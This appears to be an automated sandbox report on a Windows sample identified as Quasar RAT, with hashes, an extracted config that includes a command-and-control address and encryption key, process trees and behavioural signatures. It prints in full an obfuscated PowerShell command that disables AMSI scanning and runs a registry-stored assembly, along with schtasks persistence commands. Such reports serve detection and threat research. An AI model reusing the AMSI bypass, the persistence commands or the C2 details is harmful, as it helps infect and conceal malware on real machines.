Analysis
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max time kernel
91s -
max time network
93s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
21-04-2024 17:15
Behavioral task
behavioral1
Sample
Sexy.exe
Resource
win10v2004-20240412-en
Errors
General
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Target
Sexy.exe
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Size
409KB
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MD5
4c5faec89139e079202a5208d49ed5a0
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SHA1
f26bf551e191af0dd01b5d39ae0c8489d94a877e
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SHA256
bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378
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SHA512
5d31a95a76a2d17967f685b47823682f8301164ee9386f267f2ce28b866429dfb48aa7ef7cb21a7ab8b732286fb99eee989d10e5040ea69a361ba83b0b22ec64
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SSDEEP
12288:iBwz9kOUJIOSQoxdKIT00N2f3DPcCYDVouW5:i+JLOsVRi3YCYg
Malware Config
Extracted
quasar
3.1.5
SLAVE
147.185.221.19:33587
$Sxr-zpFqsQjJJh3miBvVnu
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encryption_key
LxGS9iJRjIMm1rV0MEzT
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install_name
BiosUpdX64YDPS.exe
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log_directory
$sxr
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reconnect_delay
3000
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startup_key
$sxr-mtsha
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subdirectory
Windows
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/3928-0-0x0000000000370000-0x00000000003DC000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 2488 created 640 2488 powershell.EXE winlogon.exe -
Executes dropped EXE 2 IoCs
Processes:
BiosUpdX64YDPS.exeInstall.exepid process 2088 BiosUpdX64YDPS.exe 2556 Install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 3 IoCs
Processes:
powershell.EXEsvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 2488 set thread context of 4464 2488 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 4544 schtasks.exe 1524 SCHTASKS.exe 4916 schtasks.exe -
Modifies data under HKEY_USERS 41 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.EXEdllhost.exepid process 2488 powershell.EXE 2488 powershell.EXE 2488 powershell.EXE 4464 dllhost.exe 4464 dllhost.exe 4464 dllhost.exe 4464 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
Sexy.exeBiosUpdX64YDPS.exepowershell.EXEdllhost.exedescription pid process Token: SeDebugPrivilege 3928 Sexy.exe Token: SeDebugPrivilege 2088 BiosUpdX64YDPS.exe Token: SeDebugPrivilege 2488 powershell.EXE Token: SeDebugPrivilege 2488 powershell.EXE Token: SeDebugPrivilege 4464 dllhost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
BiosUpdX64YDPS.exepid process 2088 BiosUpdX64YDPS.exe -
Suspicious use of WriteProcessMemory 55 IoCs
Processes:
Sexy.exepowershell.EXEBiosUpdX64YDPS.exedllhost.exelsass.exewinlogon.exedescription pid process target process PID 3928 wrote to memory of 4544 3928 Sexy.exe schtasks.exe PID 3928 wrote to memory of 4544 3928 Sexy.exe schtasks.exe PID 3928 wrote to memory of 4544 3928 Sexy.exe schtasks.exe PID 3928 wrote to memory of 2088 3928 Sexy.exe BiosUpdX64YDPS.exe PID 3928 wrote to memory of 2088 3928 Sexy.exe BiosUpdX64YDPS.exe PID 3928 wrote to memory of 2088 3928 Sexy.exe BiosUpdX64YDPS.exe PID 3928 wrote to memory of 2556 3928 Sexy.exe Install.exe PID 3928 wrote to memory of 2556 3928 Sexy.exe Install.exe PID 3928 wrote to memory of 2556 3928 Sexy.exe Install.exe PID 3928 wrote to memory of 1524 3928 Sexy.exe SCHTASKS.exe PID 3928 wrote to memory of 1524 3928 Sexy.exe SCHTASKS.exe PID 3928 wrote to memory of 1524 3928 Sexy.exe SCHTASKS.exe PID 2488 wrote to memory of 4464 2488 powershell.EXE dllhost.exe PID 2488 wrote to memory of 4464 2488 powershell.EXE dllhost.exe PID 2488 wrote to memory of 4464 2488 powershell.EXE dllhost.exe PID 2488 wrote to memory of 4464 2488 powershell.EXE dllhost.exe PID 2488 wrote to memory of 4464 2488 powershell.EXE dllhost.exe PID 2488 wrote to memory of 4464 2488 powershell.EXE dllhost.exe PID 2488 wrote to memory of 4464 2488 powershell.EXE dllhost.exe PID 2488 wrote to memory of 4464 2488 powershell.EXE dllhost.exe PID 2088 wrote to memory of 4916 2088 BiosUpdX64YDPS.exe schtasks.exe PID 2088 wrote to memory of 4916 2088 BiosUpdX64YDPS.exe schtasks.exe PID 2088 wrote to memory of 4916 2088 BiosUpdX64YDPS.exe schtasks.exe PID 4464 wrote to memory of 640 4464 dllhost.exe winlogon.exe PID 4464 wrote to memory of 688 4464 dllhost.exe lsass.exe PID 4464 wrote to memory of 1004 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 484 4464 dllhost.exe dwm.exe PID 4464 wrote to memory of 684 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 400 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1076 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1116 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1168 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1200 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1248 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1256 4464 dllhost.exe svchost.exe PID 688 wrote to memory of 2616 688 lsass.exe sysmon.exe PID 4464 wrote to memory of 1436 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1460 4464 dllhost.exe svchost.exe PID 688 wrote to memory of 2616 688 lsass.exe sysmon.exe PID 4464 wrote to memory of 1532 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1584 4464 dllhost.exe svchost.exe PID 688 wrote to memory of 2616 688 lsass.exe sysmon.exe PID 4464 wrote to memory of 1600 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1660 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1728 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1804 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1820 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1988 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 2044 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 1176 4464 dllhost.exe svchost.exe PID 4464 wrote to memory of 2052 4464 dllhost.exe svchost.exe PID 688 wrote to memory of 2616 688 lsass.exe sysmon.exe PID 640 wrote to memory of 708 640 winlogon.exe dwm.exe PID 640 wrote to memory of 708 640 winlogon.exe dwm.exe PID 4464 wrote to memory of 708 4464 dllhost.exe dwm.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{40538c4f-4319-4a6c-87db-a8d15dbb8ae5}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:uFDADVWrssNb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gZfmLCjLvjHXWk,[Parameter(Position=1)][Type]$PXWMRfqAIQ)$noxkenKbEga=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Ref'+[Char](108)+''+'e'+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+'dule',$False).DefineType(''+'M'+''+'y'+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+','+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+'a'+'l'+'e'+''+[Char](100)+''+','+''+'A'+''+[Char](110)+''+'s'+'iC'+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'oC'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$noxkenKbEga.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+'N'+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$gZfmLCjLvjHXWk).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e,Ma'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$noxkenKbEga.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+'ke',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+'ig'+','+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+'l'+'o'+[Char](116)+''+[Char](44)+''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+'',$PXWMRfqAIQ,$gZfmLCjLvjHXWk).SetImplementationFlags(''+'R'+'un'+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'a'+'n'+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $noxkenKbEga.CreateType();}$HyfJDWVlfTHQR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+'em'+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+'n'+[Char](115)+''+[Char](97)+'fe'+'N'+''+'a'+''+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$LNaoFpxfSjfssH=$HyfJDWVlfTHQR.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+'dre'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c'+[Char](44)+''+[Char](83)+'ta'+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$yctPZvLxWCDFnnfFNHw=uFDADVWrssNb @([String])([IntPtr]);$JYPcSUXapsKbImXjTdkYpR=uFDADVWrssNb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EvhNOuzddor=$HyfJDWVlfTHQR.GetMethod('G'+[Char](101)+'t'+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+'n'+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$sUkoMpEggQCJKc=$LNaoFpxfSjfssH.Invoke($Null,@([Object]$EvhNOuzddor,[Object](''+[Char](76)+''+'o'+''+'a'+''+'d'+''+'L'+''+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+'y'+'A'+'')));$MJNyNWxkpKLpwjwXj=$LNaoFpxfSjfssH.Invoke($Null,@([Object]$EvhNOuzddor,[Object](''+'V'+''+'i'+''+[Char](114)+'t'+'u'+'a'+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$zluruUa=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sUkoMpEggQCJKc,$yctPZvLxWCDFnnfFNHw).Invoke('a'+'m'+'s'+[Char](105)+'.'+'d'+''+[Char](108)+'l');$maEuRoVzsMAKHHiYH=$LNaoFpxfSjfssH.Invoke($Null,@([Object]$zluruUa,[Object]('A'+[Char](109)+''+'s'+'i'+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+'B'+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$tVREMNTvIJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MJNyNWxkpKLpwjwXj,$JYPcSUXapsKbImXjTdkYpR).Invoke($maEuRoVzsMAKHHiYH,[uint32]8,4,[ref]$tVREMNTvIJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$maEuRoVzsMAKHHiYH,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MJNyNWxkpKLpwjwXj,$JYPcSUXapsKbImXjTdkYpR).Invoke($maEuRoVzsMAKHHiYH,[uint32]8,0x20,[ref]$tVREMNTvIJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'ger')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
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C:\Users\Admin\AppData\Local\Temp\Sexy.exe"C:\Users\Admin\AppData\Local\Temp\Sexy.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Sexy.exe" /rl HIGHEST /f2⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe"C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Sexy.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Sexy.exe'" /sc onlogon /rl HIGHEST2⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\Install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exeFilesize
409KB
MD54c5faec89139e079202a5208d49ed5a0
SHA1f26bf551e191af0dd01b5d39ae0c8489d94a877e
SHA256bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378
SHA5125d31a95a76a2d17967f685b47823682f8301164ee9386f267f2ce28b866429dfb48aa7ef7cb21a7ab8b732286fb99eee989d10e5040ea69a361ba83b0b22ec64
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C:\Windows\Temp\__PSScriptPolicyTest_0yrz3xo5.kxz.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/400-108-0x00000201887D0000-0x00000201887FB000-memory.dmpFilesize
172KB
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memory/484-355-0x00007FF86C0C6000-0x00007FF86C0C7000-memory.dmpFilesize
4KB
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memory/484-137-0x00007FF86C0C4000-0x00007FF86C0C5000-memory.dmpFilesize
4KB
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memory/484-74-0x000002734F230000-0x000002734F25B000-memory.dmpFilesize
172KB
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memory/640-51-0x00000289B6C80000-0x00000289B6CAB000-memory.dmpFilesize
172KB
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memory/640-94-0x00007FF82C0B0000-0x00007FF82C0C0000-memory.dmpFilesize
64KB
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memory/640-95-0x00007FF86C0C4000-0x00007FF86C0C5000-memory.dmpFilesize
4KB
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memory/640-52-0x00000289B6C80000-0x00000289B6CAB000-memory.dmpFilesize
172KB
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memory/640-50-0x00000289B6C50000-0x00000289B6C75000-memory.dmpFilesize
148KB
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memory/640-87-0x00000289B6C80000-0x00000289B6CAB000-memory.dmpFilesize
172KB
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memory/684-109-0x000002432BFB0000-0x000002432BFDB000-memory.dmpFilesize
172KB
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memory/688-107-0x000001BC1CA30000-0x000001BC1CA5B000-memory.dmpFilesize
172KB
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memory/688-60-0x000001BC1CA30000-0x000001BC1CA5B000-memory.dmpFilesize
172KB
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memory/1004-73-0x00000204116E0000-0x000002041170B000-memory.dmpFilesize
172KB
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memory/2088-80-0x0000000004DA0000-0x0000000004DB0000-memory.dmpFilesize
64KB
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memory/2088-63-0x00000000745D0000-0x0000000074D81000-memory.dmpFilesize
7.7MB
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memory/2088-14-0x0000000004DA0000-0x0000000004DB0000-memory.dmpFilesize
64KB
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memory/2088-54-0x00000000061E0000-0x00000000061EA000-memory.dmpFilesize
40KB
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memory/2088-13-0x00000000745D0000-0x0000000074D81000-memory.dmpFilesize
7.7MB
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memory/2488-21-0x00007FF84ADF0000-0x00007FF84B8B2000-memory.dmpFilesize
10.8MB
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memory/2488-35-0x00007FF86AF90000-0x00007FF86B04D000-memory.dmpFilesize
756KB
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memory/2488-91-0x00007FF86C020000-0x00007FF86C229000-memory.dmpFilesize
2.0MB
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memory/2488-84-0x00007FF84ADF0000-0x00007FF84B8B2000-memory.dmpFilesize
10.8MB
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memory/2488-43-0x00007FF86C020000-0x00007FF86C229000-memory.dmpFilesize
2.0MB
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memory/2488-22-0x00000203EBD10000-0x00000203EBD20000-memory.dmpFilesize
64KB
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memory/2488-45-0x00007FF86AF90000-0x00007FF86B04D000-memory.dmpFilesize
756KB
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memory/2488-31-0x00000203EBD20000-0x00000203EBD42000-memory.dmpFilesize
136KB
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memory/2488-32-0x00000203EBD10000-0x00000203EBD20000-memory.dmpFilesize
64KB
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memory/2488-33-0x00000203EC0B0000-0x00000203EC0DA000-memory.dmpFilesize
168KB
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memory/2488-34-0x00007FF86C020000-0x00007FF86C229000-memory.dmpFilesize
2.0MB
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memory/3928-6-0x0000000005300000-0x0000000005312000-memory.dmpFilesize
72KB
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memory/3928-7-0x0000000006100000-0x000000000613C000-memory.dmpFilesize
240KB
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memory/3928-1-0x00000000745D0000-0x0000000074D81000-memory.dmpFilesize
7.7MB
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memory/3928-2-0x0000000005340000-0x00000000058E6000-memory.dmpFilesize
5.6MB
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memory/3928-3-0x0000000004EC0000-0x0000000004F52000-memory.dmpFilesize
584KB
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memory/3928-4-0x0000000004E00000-0x0000000004E10000-memory.dmpFilesize
64KB
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memory/3928-0-0x0000000000370000-0x00000000003DC000-memory.dmpFilesize
432KB
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memory/3928-5-0x0000000004F60000-0x0000000004FC6000-memory.dmpFilesize
408KB
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memory/3928-20-0x00000000745D0000-0x0000000074D81000-memory.dmpFilesize
7.7MB
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memory/4464-42-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4464-36-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4464-37-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/4464-104-0x00007FF86C020000-0x00007FF86C229000-memory.dmpFilesize
2.0MB
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memory/4464-44-0x00007FF86C020000-0x00007FF86C229000-memory.dmpFilesize
2.0MB
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memory/4464-40-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
